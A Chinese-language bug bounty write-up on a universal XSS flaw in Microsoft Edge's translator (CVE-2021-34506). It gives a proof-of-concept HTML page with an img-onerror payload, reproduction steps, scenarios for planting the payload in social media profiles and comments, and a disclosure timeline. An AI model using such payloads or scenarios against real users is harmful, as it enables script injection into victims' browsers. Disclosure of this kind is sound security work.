背景介绍:
各位新年好啊!希望每个人在新的一年中有更多的收获和进步,同时也希望大家充分利用碎片时间在日常生活中学习新知识!那么,让我们来看看新年第一篇的漏洞挖掘分享吧~
2021年 6 月 3 日,白帽@Th3Pr0xyB0y (Vansh Devgan) 和他的朋友@MrRajputHacker (Shivam Kumar Singh) 一起在 mail.ru 子域上进行搜索,不幸的是该目标是俄语的,虽然 Chrome 会自动翻译页面,但使用 Firefox 配合 Burpsuite 来抓包 Web 应用程序寻找漏洞时,在进行翻译时还是遇到了很多问题。
他们试图在 Firefox 上寻找一些扩展,以便在谷歌搜索时将页面翻译成简单易读的英语,但是很多太多扩展插件被删除,因为其中包含了易受攻击的代码,于是他们开始查看这些有缺陷的扩展插件如何影响浏览器用户,首先这些扩展插件程序可以通过浏览访问任何站点,比如在 facebook.com,它们可以访问该页面完整的 DOM、Cookies 和任何可能使用 JavaScript 的地方,于是他们打算暂时放弃寻找mail.ru(子域)漏洞的想法。
有趣的部分来了,因为白帽子 MrRajputHacker 在 Microsoft 中发现了几个漏洞,于是 Th3Pr0xyB0y 和 MrRajputHacker 决定将 Microsoft Edge 作为目标,因为 Edge 提供漏洞赏金计划。
他们都开始深入研究平台,发现 Microsoft Edge(预安装的内部翻译器)有一个易受攻击的代码,该代码实际上对任何带有>img 标签的HTML 的输入不进行任何清理或转换,以至于内部翻译器会直接将>img src=x onerror=alert(1)> 作为 js 执行。
下面是受影响的代码片段,函数 startPageTranslation:
function translateInternal(originalLang, targetLang, shouldTranslateFullPageInOneGo) {
resetDataBeforeTranslateCall();
try {
originalLang = GetEdgeLanguageCode(originalLang);
targetLang = GetEdgeLanguageCode(targetLang);
/**
* This will call the startPageTranslation function of edge script
*/
Microsoft.JS.startPageTranslation(originalLang, targetLang, shouldTranslateFullPageInOneGo, ""/*domTranslatorSessionId*/
, ""/*token*/
, onSuccessCallback, onTranslateApiCalled, onErrorCallback);
console.error("edge Translation started");
} catch (err) {
console.error("Translate: " + err);
errorCode = ERROR["UNEXPECTED_SCRIPT_ERROR"];
return false;
}
return true;
为了证明该漏洞存在,Th3Pr0xyB0y 和 MrRajputHacker 创建了一个 POC.html 文件,其中包含具有著名 XSS Payload 的不同语言的所有文本:
"><img src=x onerror=alert(1)>
下面是 POC.html 文件的代码片段:
<b><u>SOME TEXT IN DIFFERENT LANGUAGE </u></b>
<br>
Políticas de Privacidade
Usaremos seus dados pessoais para resolver disputas, solucionar problemas e aplicar nossos Termos e Condições de Uso.
<br>
Para prevenir abusos no app/site, o Badoo usa decisões automáticas e moderadores para bloquear contas, como parte de seu procedimento de moderação. Para isso, nós conferimos contas e mensagens para encontrar conteúdo que indicam quebra dos nossos Termos e Condições de Uso. Isso é feito através de uma
<b><u>OUR PAYLOAD IN TEXT FORM </u></b>
<br>
<br>
"><img src=x onerror=alert(1)>
<br>
<br>
<br>
Políticas de Privacidade
Usaremos seus dados pessoais para resolver disputas, solucionar problemas e aplicar nossos Termos e Condições de Uso.
漏洞复现:
以下是利用和重现该漏洞步骤的特殊部分:
漏洞名称 —— uXSS(通用跨站脚本)
漏洞描述 ——
与常见的 XSS 攻击不同,uXSS 是一种利用浏览器或浏览器扩展中的客户端漏洞来生成 XSS 条件并执行恶意代码的攻击方式,当发现并利用此类漏洞时,浏览器的行为会受到影响,其安全功能可能会被绕过或禁用。
重现步骤:
1、从上面的代码片段下载 POC.html 文件或在文件中复制粘贴代码,然后将其命名为 POC.html 并保存
2、 使用下面给出的命令在本地主机上 POC 文件所在的同一文件夹中启动 Python 服务
python3 -m http.server 80</span>
3、打开 Microsoft Edge(Version 91.0.864.48 (Official build) (arm64))并访问:
4、“翻译器” 会向你显示此页面是否要翻译为另一种语言,点击翻译按钮
5、Boom! 弹窗(1)出现
漏洞影响:
1、任何存在 <img src=x onerror=alert(1)>
或任意有效 XSS Payload 的页面都会被执行
2、任何来自其它国家(非英语)的人们在阅读有关 XSS 信息时都容易受到攻击
3、 所有使用 Edge 的用户都容易受到该 XSS 攻击,它可以在任意网站上触发
4、 任何收到内容为不同语言 + XSS Payload 电子邮件或消息的人同样易受攻击
当然漏洞可能发生的场景还有很多
Facebook → 创建了一个具有不同语言名称和 XSS Payload 的个人资料,并在他检查个人资料后立即向受害者(使用 Edge)发送好友请求,他被攻击了。(因为自动翻译 XSS 弹出窗口)
Google → 在Google上为一家公司的 HackENews 写下评论,使用不同的语言 + XSS Payload,任何浏览该评论链接的人都会被攻击
Youtube → 创建了一个Youtube视频,输入了一个带有xss Payload +不同语言的评论,任何使用 Edge 浏览器观看该视频的人都被攻击
Windows 应用商店应用程序 → Windows 应用商店上基于 Web 的应用程序(例如 Instagram)也容易受到该攻击,因为 Windows 商店发布的应用程序具有相同的 Microsoft Edge Translator,它同样会触发 uXSS攻击。
漏洞时间线:
2021 年 6 月 3 日:向 Microsoft 发送报告
2021 年 6 月 7 日:微软审核回复
2021 年 6 月 8 日:发送附加影响信息
2021 年 6 月 15 日:报告分类
2021 年 6 月 17 日:获得 20000 美元赏金奖励
2021 年 6 月 19 日:预发布补丁
2021 年 6 月 24 日:推送补丁更新并将 CVE 指定为 CVE-2021–34506